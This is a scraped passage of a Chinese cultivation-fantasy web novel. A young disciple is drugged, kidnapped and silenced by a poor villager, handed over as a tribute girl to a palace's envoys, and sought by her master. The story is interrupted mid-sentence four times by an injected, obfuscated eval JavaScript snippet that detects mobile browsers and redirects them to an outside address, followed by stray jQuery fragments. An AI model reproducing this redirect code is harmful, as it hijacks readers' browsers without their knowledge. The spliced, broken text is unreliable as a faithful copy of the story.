这一次站在她身边的不是父亲而是师父,他也注意到了趴在地上的矮胖男子。 “师父……我们要帮他吗?”容珠终是问出了这句话。 应白侧过脸问:“你想怎么帮?” “扶他起来。” 应白不想让容珠经历自己当初的事,早年他多管闲事的回馈便是人人见到他就落荒而逃。明明他的本意就是减少别人痛苦,可到最后自己才是最可怕的恶魔。可他不能用自己的想法来约束对方。 “如果你想这么做,那就去做吧。” 容珠得了肯定,三两步走过去。 这是她第一次帮助别人,第一次在干一件与这个世界规则背道而驰的事情。 她蹲在那男人身边,拍了拍他身上的灰尘,关切道:“你没事吧,还能起来吗?” 男人感到有人拍自己的后背,还以为又要挨打,当即抱头大喊:“不要打我!不要打我!”他跌跌撞撞站起,却因为身上被踹得重了十分疼痛,不住趔趄,容珠急忙扶助他说:“没人打你,我不打你,我只是想扶你起来,你还好吗?” 男人这才意识到说话之人是个女子,他瞪着惊魂未定的眼睛,看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她迫不及待想把这个好消息告诉师父,刚一起身便听有脚步声走来。一个矮矮胖胖的男人拿着木桶来井边挑水,他脸上有几处伤疤,应该是抹了药,看起来紫一片红一片的,皱着眉头,一副苦大仇深的模样。 容珠认出此人就是今日上午她想帮助之人,既然他来这里打水,想必是后头村庄里的居民。两人一左一右,一个朝前一个朝后,互相认出了对方,但谁也没有开口说话。直到容珠走出好远时,这矮胖男人才驻足回望。 他去年为了躲避仇人追捕刚搬到这里,据他所知,那户人家住的是一个夫人,这位夫人的丈夫是修仙的,孩子还没生下来丈夫就跑去修炼了,后来这夫人的儿子长大些后也去修炼了,至今未归,这个女娃年纪尚轻,莫不是这个夫人又找了个男人依靠,又生了个女儿出来? 能住得上大宅子定然不缺钱,肯定早就备好了生辰礼,这么一个漂亮女儿若是没派上用场该多浪费啊…… 19. 绑架 容珠将自己灵力有细微增长一事告诉了应白,应白心喜,说这是个好兆头。 即便容珠内心经历过无数怀疑再自证,再怀疑再自证,而一遍一遍的自证都在告诉她,她体内的灵力真的增长了一点,她有可能摆脱废物的称号,有可能像正常人一样修炼,她进步了! 她有些语无伦次道:“不会真的是因为我帮助了那个人吧?可是他并没有接受。” 应白微笑地看着她开心的模样,“虽然没干成,但主要的不是成功与否,而是你已经有了这个善念。你第一次想要帮助别人,并且这么做了,灵核感受到了这份心意,它愿意给予你力量。” “这便是师公所说的灵核的本意?”容珠细细品味着。 从前她遵循强者为尊,弱者低贱的规则,认为修炼就是为了变强,要给家族争脸,不辜负爹爹的期望。而上天赐予她金色灵核是让她去帮助别人,去学会爱,所以她只是做了一个帮助的举动,灵核就反馈给她灵力,原来这才是她的修炼道路! 废物的灵力开始增长一事放在整个修真界都会骇人听闻,应白当然明白这对于容珠来讲是多么惊喜。 “心法是修炼灵力的基础,你好好修炼巩固,对灵力的提升会大有助益。” 容珠现在兴奋得巴不得瞬移到清凌门后山,去父亲和母亲的墓前将这个好消息告诉他们。 “若是爹爹知道我灵力增长,一定会很开心。可他看到我要学会帮助别人才能增长灵力,不知会作何感想?” 应白见容珠方才还在高兴着,这会儿又有些低落。 “修炼之人忌大喜大悲,况且你父亲如此爱护你,从前从不责怪你灵力低,可见他关心的还是你的幸福和安危,只要你平安喜乐,你父母地下有灵一定会欣慰的。” 容珠紧锁的眉头慢慢舒展,她看向应白,心平气和道:“师父,你真好。你改变了我的人生,我真不知该如何报答你。” 应白垂眸浅浅笑着:“人生有喜有悲是再正常不过的事,我们要走的路很长,前途未知,能接受喜悦也要有面对困难的勇气。希望你以后仍然要心存爱与正义,而不是为了提升灵力才帮助别人,你明白我的意思吗?” 容珠将这番话细细揣摩领悟后端正了神色,目光坚定道:“师父,我明白。” 尽管体内的灵力有所增长,但以目前的情形来看,容珠离低灵还有一点距离。 田野风光无限,视野开阔加之空气清新,容珠很喜欢在这里修炼。练习心法也不需要做什么夸张动作,她只需要盘腿坐下,静心默念口诀,感受心法所带来的力量从肺腑间流出,直到顺利流经身体的各个穴道,能做到召之即来挥之即去便算练成了。若是被不懂修炼之人看见,只会以为她在坐着睡觉。 夜幕降临,蛐蛐声在远处此起彼伏地响着。田野旁有几户人家的孩子在骑牛玩,兴奋的尖叫声响彻天际。容珠正专心致志修炼,身心进入了一种忘我境界,犹如身处云端,周遭无一物。 远处一个小土坡下,两双眼睛正滴溜溜地朝这边张望,男人矮胖浑圆,女人瘦弱朴素。她两只手扒在土坡上,身子缩在一起,慌张道:“我们真的要这样吗?我不敢……” “废物!明日使者就要来收生辰礼了,咱们拿不出东西来你还想不想活?”矮胖男人压着嗓音朝身旁女人口吐白沫,他脸上这里肿了一块,那里破了一处,褐色的药水抹在脸上掩盖了他伤口青紫的痕迹,整张脸比他的身子都要大上一倍。 这人正是白日被当铺伙计殴打之人,也是容珠想伸手扶起之人,同样是摊贩们幸灾乐祸的姓孙那人,身旁妇女便是他的婆娘。 女人低声怯懦道:“俺想活,可你说她是那位夫人的女儿,咱们把她掳走,要是那夫人发现了咋办啊?” “她知道是谁干的吗?”男人反问道,“世界这么大,怎么不可能是她女儿跑丢了呢?你真是脑子笨得很。咱们就是干这行的,你成日操闲心!” 女人被丈夫骂了一通,低着头不说话。男人拿起从家带来的迷魂香,香的顶端一吹即燃。女人见漆黑的夜中猛然冒起一簇光芒吓得握住男人的胳膊颤声道:“你说她为啥不在屋里睡觉要在这睡?” 男人厌烦地骂道:“天赐良机你懂不懂?” “这香这么亮,你走过去她要是发现了咋办?别忘了,咱们先前就因为得罪了贵人而被打……” 男人已经不想跟这个笨婆娘说话了,他狠狠剜了婆娘一眼,婆娘闭嘴不说话了。 男人姓孙,人人都叫他孙二。因为祖上穷,一直没钱买地,因此一直卖的农药赚钱,可光靠卖农药也没有多少收入。 孙二干正事的时候唯唯诺诺,笨手笨脚,可一从哪听来一些需要偷鸡摸狗干的事,他比谁都机灵。因此为了多挣点钱,有的时候不免要干些偷盗贩卖丫头一事,慢慢地,屋里放着的就不只是农药了。 他先前被同行算计拐了当地地头蛇新娶的小妾,被地头蛇提刀追赶险些丧命,连夜带着婆娘逃到了这里安顿。 生存艰苦,孙二除了重操旧业,没有别的能耐。 他将鞋子脱掉,赤着脚,捂着鼻子轻声靠近,佝偻的身躯似黑夜里的老鼠,精亮的眸光似丛林间的狼,不知不觉间,他已来到容珠近前的一个谷堆旁。 男人仔细观察了一阵容珠,见她呼吸均匀,认定睡得很熟,便继续悄悄地,慢慢地,同时将袖间一小包药粉拿出。 见距离差不多了,他举起手将迷魂香凑近容珠鼻下。 容珠修为尚浅,对周遭的风吹草动不能及时感应到,但她隐约觉得有一阵不同寻常的香气丝丝缕缕钻入她的鼻尖,笼罩她的大脑,很快,她开始昏昏沉沉。 这种感觉不太妙,容珠心中警醒,尽力睁开沉重的眼皮,强迫自己的手脚动一动,可困意席卷,她半睁着眼依稀看到一片田地,一只手,一个人。 这个人闪着精亮的双眸,满脸伤痕。容珠立刻将他认出,意识到他心怀不轨欲调动灵力可浑身一点力气都没有,拼尽全力要说的话滚到嘴边却如蚊子哼哼,“你……想……干……” 男人见容珠还有力气说话,赶紧趁机将药粉塞进她嘴中。药粉入口即化,容珠的意志力挣扎了片刻,终不敌迷魂香和药的双重作用,昏倒在了地上。 婆娘吓得捂紧了双眼,嘴里断断续续发出嘤嘤的害怕声。 男人缩着脖子四处张望,回头低声招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669330|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己婆娘过来。女人哆哆嗦嗦起身,磕绊着走了过来,男人忍不住催促:“快点!把麻袋拿过来!” 男人接过麻袋将容珠从头到脚套了起来,一使劲将她抗在肩上,捡起鞋子快速撤离。 夫妻俩一个脚步灵活飞快,一个跌跌撞撞跟在后面。微风吹过,遮住了月光,大地一片黑暗,也遮盖了二人鬼鬼祟祟的身影。 院内,应白和母亲闲聊完准备回屋,见容珠房内没点烛火,心觉异常,转头问:“母亲,容珠晚间回来了吗?” 应夫人说:“可能还在外面修炼吧,我喂鸡的时候听她说她喜欢面对田野。” 夜晚的田野阴森黑暗,应白不放心道:“我去找她。” 月亮被云层遮盖,加上乡村小道没有路灯,外面一片漆黑。应白提着灯笼穿过花园,绕过鸡圈,来到田野对面的谷堆处,四下寻找了一番也没瞧见容珠身影。 “容珠?” 应白呼唤了几声却无人应答。按理说,容珠人生地不熟,应该不会跑远,他准备去附近再看看,余光瞥见一抹光泽从地上闪现。 此时一阵夜风吹过,吹散了云层,月光重新洒落大地,柔和清晰地映照出地上那抹光亮物什。 是一枚珍珠木簪。 应白心内顿时生出一股不好的预感,霎时间头脑想象出了无数可能。但他先排除掉了一些不可能事件,比如圣灵宫发现了他们逃离漩涡之境一事,比如清凌门找到了她,要抓她回去。 前者主要罪魁祸首是自己,圣灵宫没道理来到这里只将容珠抓走。而后者存在许多不合理之处,比如清凌门的人是怎么发现他们在这里,再就是依照那位年纪轻轻的容檀掌门性格,怎么会悄无声息就将容珠带走呢? 应白凝视着这支簪子,不知是容珠故意留下,还是无意间掉落的?不管是哪种可能,应白都无法根据一只簪子判断容珠去向。 这时候应夫人也提着灯笼出来了,见应白神色严峻,站在原地出神,她担忧道:“可找到容珠了?” 应白将珍珠簪子给母亲看:“这是她的簪子,但附近并没有她的身影。” 应夫人心底一沉,看着这支珍珠簪子忽然发现了什么,她伸出手将这细小之物拿下,借着灯笼细看。 应白下意识以为是枯草,但这会儿再仔细看,才发现这东西虽与枯草相似但根本就是完全不同的东西。 应夫人将这缕物什凑近鼻尖细闻,又拿在手中摩擦了一下说:“是麻袋的布料……” “应白!”应夫人语气急切道:“你或许不知,有些人家买不来生辰礼,又没有女儿,他们会偷别人家的少女来充作自己准备的生辰礼交给那些使者。” 应白瞳孔骤缩,静立在原地,一言不发,月黑风高,他的脸透着森森冷意,一双温和的眸子此刻如两把闪着寒光的刀刃。 他把簪子握在手心里,“对方既决定偷人想来一定是天黑后才行动,而他们买不来生辰礼定然是寻常百姓,既要扛人跑路,那他们的屋舍一定不会太远,说不定就是前面那几家。” 应夫人点了点头:“你小心。” 应白将灯笼递给母亲,身影如风般飘过,转眼间已飞奔很远了。 20. 哑巴 月色忽明忽暗,应白蹲在一棵树上,凝神观察对面房屋情况。有几家屋前拴着牛,但屋里是黑的,应该已经熄灯入睡了,还有一些人家油灯在亮着,映着屋内人影绰绰。 就表面来看,每一户人家都井然有序地干着自己的事,看不出来任何端倪。 应白身子一跳,双脚轻盈落地。一袭黑衣在昏暗不清的黑夜中很好地将他隐身。他绕到每一间茅屋后头,挨个观察倾听,有些人家正好在讨论生辰礼一事,应白将窗户纸捅破,借着小孔能清晰地看到他们讨论的生辰礼是桌上那个不太精致的盒子,显然这户人家已经有生辰礼了。 他动作很快,走起路来悄无声息,一趟下来,所有屋子都查看完毕,每户人家都静悄悄地在说闲话,不是说自家生辰礼就是在说别家生辰礼。这些百姓都穷得很,靠着一亩三分地过活,屋子也是这一个窟窿那也透风,就这方寸之地,应白全然找不见容珠的身影。 他越发着急,一颗心在寂静的黑暗中跳动得厉害。 把容珠拐走的人并不住在这里,因为那人是外来户,搬来这里后不受当地人待见,附近的井水挑不来,只能跑远一点的地方挑。此时他刚摸黑到家,没有直奔屋内,而是让婆娘打开后院地上的一个铁板盖子。 容珠醒来的时候脑子依旧是昏昏沉沉的,一时间之间还没回忆过来自己在干什么,身处何地。手腕上传来紧紧的束缚感,鼻下也能闻到一阵阵潮湿腐烂的气息。 意识慢慢清醒后,她发现自己手腕和脚腕都被绑了起来,整个人也被麻袋套住看不清周围景象。 “坏蛋!”容珠在心里暗骂了一声。心想绑架她的不过是一个普通老百姓,即便自己灵力低微也足够脱离困境。 但很快她发现情况没有自己预想的这么好。首先她的灵力不知何故运转不起来,浑身疲软无力,甚至扭动一下//身子都十分费力,她想起自己在晕过去前好像看到了那个男人手里拿着一根香。 是迷魂香。 除非修为升至中灵以上,否则谁人闻了都会绵软无力,成一头任人宰割的羔羊。关键是眼下她还不知道对方将她虏来是为了什么,她这头细腻白嫩的羔羊是要被抓她的人吃掉还是要被卖掉? 她心头顿时蒙上一层灰暗的纱,想想自己这多舛的命运,按压不住心中的悲戚,伤感道:“不是吧……” 话一出口她蓦地怔住,像是不敢相信般,她又张大着嘴巴,啊啊叫了两声,还是不肯相信,又拼命地,声嘶力竭地大喊。 从她口中发出的话语是无声的。 她哑巴了。 脑中顿时有一道惊雷炸开,她甚至能感觉到自己两耳发出的嗡鸣声,仿佛无数蚊子苍蝇在她头顶打转。原先良好的心态在这两次打击下终究溃散,蒙在心头的灰纱也化作了一股悲流,从心间源源不断,声势浩大地奔腾而下。 她没有让自己哭出来,在理智与感性的磨斗下,她强迫自己冷静下来,想起绑架自己的人正是昨日上午自己想伸手扶起的人。 他绑自己干什么呢? 她记得这个男人没钱买生辰礼,被当铺伙计轰出来殴打,他绑自己…… 忽然,容珠脑中闪过一个可怕的念头。 这个男人没钱买生辰礼,所以她就是这个男人要奉献给昌修圣灵的生辰礼…… 麻袋里的空气很稀少,容珠顿觉眼前一阵眩晕,她被憋得难受,浑身又没力气动弹,一想到自己要成为对方增进修为的物品,她丝毫不觉得有多么荣幸神圣,只觉得又怕又恶心。 她要死了……她又要死了吗?眼前忽然浮现出应白的容貌。 她的灵力才刚有进步,她刚刚认识了一个对自己很好的人,为什么上天要再次陷自己于危险中?她不配活在这个世上吗?她到底犯了什么错? 忽听得有脚步声靠近,容珠收敛悲伤,凝神细听。脚步声在几步远的地方就停住了,一个女人怯懦的声音响起:“她,她醒了咋办?万一大吵大闹的,我们会被发现的。” 男人道:“不用怕,我给她药哑了,她一辈子也说不出话来。” 容珠蓦地睁大瞳孔,两行热泪瞬时滚落。 女人声音依旧低低道:“明天,不会出差错吧?” “不会,她吃了我的药,没有任何力气,也说不出话来,只会走路,到时候那些使者手一挥就把她带走了,之后就不关咱们的事了,嘿嘿……” 容珠浑身发冷,他们绑自己的目的果然和自己猜测的一样。 男人蹲在麻袋前,声音幽幽道:“睡吧,睡吧,一觉到天明,你飞黄腾达的日子就来了……真可惜,这闺女长这么俊,要送给别人真舍不得……” 他吧唧吧唧嘴,婆娘不知哼唧了什么,两人的脚步声渐行渐远。 容珠浑然不觉自己正在瑟瑟发抖。她从小被父母捧在手心里,衣食住行样样不缺,除了灵力外,想要什么东西张张嘴就能得到,她沉浸在温柔乡里许多年,被保护了许多年,哪里会遭遇这等肮脏龌龊之事。 更何况她嗓子哑了,她一辈子都不能说话了。 尽管她想控制住自己害怕的情绪,让自己冷静些,可身体仍在一下一下抽搐着,眼眶里有源源不断的泪水涌出,很快洇湿了她脸下这一小片地皮,宛若一汪小小湖泊。 容珠一晚没睡,即便在不知觉中睡着也会在噩梦中惊醒。外头传来此起彼伏的公鸡叫,天亮了。 应白找了一个晚上,方圆几里的屋舍都寻了个遍,农村屋子简陋,翻窗入门之事应白都干了,每一户农舍里都没有他要找的人。 鸡鸣声提醒着他再过不久圣灵宫的使者就会到民间来收礼。 他眼下乌青,眼中红丝遍布。乡村渐渐飘起白烟,人们陆续起床开始了新一天的运作。 应白先回到家中。应夫人也是一晚上没合眼,得知应白没有找到容珠后,应夫人落了泪,心疼道:“容珠年纪尚轻便没了爹娘,又被门派驱逐,现下还被人掳走,怎么命运这般凄苦,这可如何是好?” 换做别的人家要是能把女儿送给昌修作生辰礼会认为是福气,认为女儿命好,同时也会骂女儿自个儿享富贵,忘了爹娘。 应夫人这番话要是在旁人听来可是了不得的语言,起码人人都会说应夫人脑子坏掉了,这是天赐好事,时来运转,怎能说命运凄苦? 不知好歹。 茫茫世间,应白无从寻起,他总觉得就是附近的某户村民所为,可结果又告诉他没有。他问:“母亲,你可知使者来收生辰礼是怎样的流程?” 应夫人擦拭眼泪说:“他们先放话让我们在门外等候,等收完每家每户的生辰礼后好像还会在前面山脚下汇合。这种场面不多见,到时候所有人都会偷偷去看。” 应白在院内踱步,看来只能等使者收完礼在山脚汇合时再作打算了,最起码他得确定容珠是否被当作生辰礼,因为一旦进入圣灵宫,他就没办法救她了。如果容珠不是生辰礼,情况要好些,毕竟她还会些灵力,普通人奈何不了她…… 他越分析心中不好的预感越强烈,如果容珠可以应对绑架她的人,又怎么会一个晚上都没回来? 应白感觉每时每刻都万分煎熬,他开始责怪自己没有保护好她,他怎么就没提前想到,百姓会偷别人家的女儿来充当自己献出的生辰礼呢?他应该想到的! 太阳渐渐升高,巳时到,天空忽然传来一声空旷神圣般的声音:“圣灵宫昌修圣灵座下使者前来收生辰礼,尔等速到门口迎接——” 应白沉思片刻道:“母亲,我出去看看。” 应夫人捧着一个精巧名贵的礼盒站在门口目送应白离开。 使者来了十人,有些额间带着一抹黄,是低灵的象征,有些额间什么也没有,虽然没有灵阶象征但代表的却是无上财富,钱足够多是可以在圣灵宫谋差事的。 容珠也在地下听到了空中的喊叫,没多久就有匆匆脚步声传来。两人解了束缚在容珠手上和脚上的绳索,容珠真想一脚踢翻他们,可是除了走路她再没有多余的力气。她被两个人一左一右拖着朝前走,先上了几层楼梯,又爬了个梯子,这才闻到空气的清新。 头上的麻袋被取下,突如其来的光芒刺得容珠双眼疼痛。她被人推搡着来到门口,待视线适应后她朝绑她那男人狠狠剜了一眼,她浑身上下的器官总要有一个来表达她的恨意。 男人脸上的伤疤还在肿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669331|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,散发着浓浓的药膏味,他瞅见她的目光冷哼一声,一巴掌拍在她脑后,骂道:“瞪什么瞪!你的荣华富贵要来了知不知道!不是你说想帮我吗?你马上就要实现了!” 很快,一束光芒在眼前降临,一名白衣使者落地,额间一抹低灵之黄,他仰着下巴,傲气十足地俯视对面几人:“生辰礼奉上。” 男人忙点头哈腰地将自己“闺女”推到前面来,弓着腰回答:“大人,小女就是贱民奉献给昌修圣灵的生辰礼。” 容珠注视着眼前的白衣使者忽然心中一紧,她的名讳修真界无人不知,既是来自圣灵宫的使者,会不会一下子认出了她? 她还不确定容檀有没有把自己和应白在一起的事上报圣灵宫,虽说现在风平浪静,没有任何搜捕应白的消息,但万一圣灵宫内部在暗自谋划怎么抓应白结果今日正好碰上她了怎么办? 那么迎接的她的不是去当昌修圣灵的生辰礼,而是圣灵宫的处罚和师父的安危…… 短短一瞬,容珠的心跳得剧烈无比,原本苍白的脸色也因为情绪波动而浮上一层红晕。 白衣使者撇了一眼面前女子,瞳孔倏地放大,“这是你们的女儿?” 男人朝女人使眼色,拉着女人齐声道:“是是,是我们的女儿。” 女人中气不足,一双腿微微发抖。 “想不到你们两个丑包能生出这么好看的姑娘。”说着,白衣使者绕着容珠细细打量起来,仿佛是赠送给他的礼物,他很是满意:“很好,不错。” 容珠背后汗毛直竖,这个人不认识她?她冷静思考了一下,很多时候大家都知道一个名字,但不一定就见过这个人,就像当年应白声名大噪,但照样有很多人不知道他长什么样,自己在旁人眼中是出了名的废物,一个废物除了会受到嘲笑外是不会被人关注的…… 她记得爹爹曾说这些圣灵宫的使者平常都被圣灵压榨得厉害,很少有出宫的机会,所以即便他已知的容珠站在他面前,他也不知道她是谁…… 霎时间,她感受到新鲜空气不停灌入自己鼻间,剧烈的跳动的心慢慢平复下来,她瞅了这使者一眼,很不喜欢他露出的不轨神色,扭头避过,拼劲力气想跑开,而双脚才往旁边移动了几步,便有些踉跄着站不稳。 身后那妇女生怕穿帮,吓得闭起了眼,男人眼疾手快上去,大力将容珠扶正,冲她吼道:“不知礼数!在使者面前什么规矩!忘了你爹我是怎么教育你的吗?” 容珠听他恬不知耻地自称是自己的爹,心头怒火中烧,偏不能干什么。那使者却摆摆手和颜悦色道:“你女儿的好日子要来临了,这般美貌,昌修圣灵见后一定念念不忘。” 他手一挥,带着容珠离开了这户人家。那女人见状终是腿一软倒在了地上,长长地呼了口气。 一炷香后,这片区域的生辰礼都收完了,十位使者聚集在山脚下看着眼前的各色礼物。 容珠的前后左右都是年龄相仿的姑娘,约莫有十几个。她们都睁着眼眸互相看着对方,一张张脸上掩饰不住地兴奋。 远处,众多百姓聚集在一起,偷看这一年一见的重大场面。而应白正藏身在近处的一片丛林间,他在这里蛰伏已久,等十位使者都聚齐后,他一眼就看到了姑娘堆里的容珠,一颗心提到了嗓子眼。 那些使者都身负灵力,不是现在的应白能对付得了的,他心急如焚,而这时,容珠在四处张望中发现了草丛中的那双眼睛。 对视的一刹那,容珠张嘴想唤师父却想起自己已经不能说话,她目光笼罩着一层悲伤,朝着应白张嘴的同时用手指了指嘴巴,再微微摇摇头。 应白本就布满红血丝的双眸顷刻间像被夺了魂魄,震惊失神齐齐显现,容珠通过神色晓得他知道自己表达的意思了,垂下眸子,难掩悲伤。 应白浑身僵硬,他还没去想容珠怎么会成哑巴这件事就听那些使者们相互说起对方收到的生辰礼,其中一人道:“我今天可是收到了一个宝贝,保准昌修圣灵会喜欢。” 其他使者不屑道:“什么呀,什么东西?” 白衣使者侧着脸扬起下巴,双眼眯起看向姑娘堆里的一人,伸出手指向她道:“你,出来。” 21. 求助 容珠瞥见那人在叫自己,她迈着虚浮的脚步一步步朝前,旁人看见这样的走姿还以为她下一刻就要倒地上了。 应白显然也意识到了容珠的异常,她看起来很虚弱,从她身上,应白感受不到一丝她从前应有的活力。 其他使者见上前的女子,本还露着三分不屑,待细细看清后,一个两个皆转变了神色。 “呦!是个小美人儿。” 白衣使者道:“美是美,可惜是个哑巴。” 一人道:“怎么蔫蔫的,像个病秧子。” “她爹说是娘胎里带的,体弱多病,只能走路,跑都跑不起来。” 容珠面对使者们对自己指点评价,神情漠然地听着。说着说着,一人笑着叹息道:“你说这老天爷啊,真会捉弄人,好好一姑娘,白瞎了这副好皮囊,体弱多病就算了,还不会说话,这叫不出来,昌修圣灵肯定不会喜欢啊。” 话音一落,其他使者纷纷大笑,污言秽语的嘲笑像刀子般扎入容珠心中,她羞愤难当,将那些人的面庞悉数看入眼中。 没想到这个世上还有比骂她是废物更难听的话。 应白不知容珠经历了什么用不出灵力,更心痛的是她不能说话,又面临着使者们的羞辱,她的背影如此虚浮,整个人看起来脆弱不堪。 胸腔内正燃燃升起一团火,可他能做什么? 他若冲上去带走容珠,那几个使者只要用一点灵力就能将他制住,即便他能将容珠带走也逃不开对方的灵力追踪,若再想其他周全的办法根本没有时间,而这时,一个白衣使者掏出一个锦布织就的布袋道:“好了好了,启程吧,别误了时辰。” 他大手一扬就将这些礼物装入了袋中。眨眼间,十位使者带着乾坤袋消失在了山脚下。 应白缓缓起身,全身紧绷,事情棘手程度已非他所能挽回,圣灵宫不是说进去就能进去的,只有圣灵或者拥有护身符的人才可正常出入。护身符是给那些圣灵宫传召但修为又没有达到圣灵之人用的,而那护身符用后即毁,除了圣灵宫赐予,没有人会拥有多余的护身符。 这是一个死局。 三个月后就是昌修的百岁生辰宴了,据他当年所知,送给昌修圣灵的女子要先经过容貌身材挑选,第一关不合格的就直接发配回家了,留下来的女子会在三个月内由专人进行饮食调整和肌肤修护,为的就是要将这些女子从头到脚,由内到外都滋养的光滑靓丽,这样才可以吸收到最完美的阴气。 他还有三个月的时间,一定要在昌修的百岁生辰宴之前将容珠救出来! 可应白很清楚,凭他自己是不行的,但他本就孤身一人,又能指望谁来帮他? 忽然,他脑中想到了一个模糊的人影。 * 清凌门。 日落西山,弟子们刚结束了下午的魔鬼训练,人人都饿得头昏脑胀,三三两两奔去饭堂,如狼似虎地吞咽美食,一句话都懒得说。 上午圣灵宫的使者们收完生辰礼后,大小门派都开始忙活起来,为三个月后昌修圣灵的百岁生辰宴做准备。他们会在天阙比试台下的广场中设宴恭请昌修圣灵大驾光临,为他隆重庆生。 这是个彰显能力的好机会,生辰宴出资最多的门派就是主办方,主办方要是把生辰宴做好了会获得昌修的赞赏或实质性奖励,这是无尚荣耀,足可以拿这个由头在修真界大肆炫耀张扬,为自家门派长脸。 自昌修成为圣灵以来,底下门派办的每一场生辰宴都一次比一次隆重,甚至有些门派还能连续几年夺得称赞,十分了不得!但拿出多少资金,各门各派心中都十分有数,有些低灵门派就算拿出全部资产也不及高灵门派十分之一。 虽未规定不同等级的门派要拿多少钱,但各派掌门心里都清楚,低灵门派所出份数是不可以高过中灵或高灵门派所出份数的。因为尊卑有别,强者为尊,风头自然是强者出。 各门派拿出的资金数也关乎着门派在生辰宴上做何种伙计。从桌椅摆放到宴会布置再到做饭耍杂技……一整套下来要忙活不少东西。 容檀作为清凌门新任掌门正发愁自个儿门派拿出多少钱合适。自从清凌门被降为低灵后这一年来,里里外外受了其他门派多少冷嘲热讽,尤其是水月门。 当初与清凌门比试的就是水月门,水月门恨不得用扩音术昭告整个修真界,自个儿门派将本来是中灵门派的清凌门打成了低灵。容檀只能干受气又不能出去理论,就像被人一脚踩在脸上压在地上,死死不能翻身。 这口气就这么不上不下的吊着,以至于众弟子每每看见容掌门的脸皆纷纷吓得不敢抬头,从前夸她貌美如仙,现在则只有两个字:可怕。 但清凌门中有两个人不怕容檀,一个是容檀的父亲,也就是清凌门的尊主容江。另外一个…… 容檀因为拿多少资金一事寻求过父亲的意见,本指望父亲能直接告诉她拿多少就好了,可他以自己不是掌门为由让容檀自己决定,这明摆着要让她独立起来。 容檀刚从父亲那里回来,心情不好,半歪着身子坐在椅上看底下的连逸在自己眼前晃来晃去。看着他拿来茶具,十分娴熟又规矩地泡茶倒茶,再十分儒雅端庄地起身,端起一杯茶垂眸朝自己走来,双手奉上:“掌门,新摘的茶叶,入口清醇,您喝一杯歇歇。” 容檀每每看见连逸这副不温不火,慢吞吞地模样就心生火气,她本就不喜欢连逸,许久之前就知道他做事优柔寡断,完全没有男子果断之风,仅凭灵力高就当上大弟子,偏自己当了掌门以后,父亲非要他在身边辅佐自己。 怎么那会儿父亲不说她是掌门她可以自己做主了呢?她不喜欢连逸,一点也不想看见他成天跟在自己身旁,此刻见他十分悠闲似的泡着茶水端来给自己喝,容檀寒眸瞪着他,甩出一个不屑的神情,将脸转到另一边。 连逸虽未抬头,但跟在掌门身边这么久,知道这个动作代表着什么,于是默默无闻地收回双手,走了下去。 “出去!” 他步子一停,随即转身面对容檀,看着高高在上的她,一手支着半个脑袋,冷若冰霜地对他说:“我现在不想看见你。” 连逸垂眸,恭敬地回答了一声是,没有任何多余的表情,放下茶杯就走了。一出门口他才似轻轻叹了口气,眉间微微蹙起,甚是头疼。这时有个清凌门弟子上前道:“大师兄,清凌门外有个老者要见你,说有事与你说。” 连逸奇怪:“老者?叫什么名字?” 弟子道:“他没说,只对我们说想见大师兄,好像不知道您名字似的。但此人周身气度不凡,许是哪家门派之人,加之他神情严肃,我怕有大事,因此不敢怠慢,只让他在门外等候,我先进来通禀。” 其实原本那门外老者找上门的时候,清凌门守卫没一个人搭理他,说什么气度不凡,纯粹是这名弟子收了金钱才进去通禀的,在连逸面前胡编乱造一通,自知满口谎言,只垂着脑袋掩盖自己的胆怯。 毕竟如今的大师兄连逸已经不是从前人人可以诋毁的对象了,跟在掌门身边,这种地位可不是寻常弟子可比拟的。 连逸思索片刻还是朝清凌门外走去。一路上他始终没能想到能有什么人会单独来找自己,自己一没亲人,二没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669332|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友,总不能是来约战的吧。 大门一开,连逸果然见清凌门不远处站着一个身穿一袭黑衣的……老者。这个男子从身影上来看明明不算太老,怎么脸上已蓄起了胡子,戴着一顶斗笠,叫人看不出他到底是何模样。 光天化日之下,连逸倒不担心此人会对自己有什么不利,他走上前来,那男子竟转身进入丛林中。连逸握了握剑柄,颇为警惕地跟了过去。 男子也没有走得很远。见对方止步,连逸开口道:“不知阁下是谁,找我何事?” 男子转过身,直接道:“我是应白,你应该记得我。” 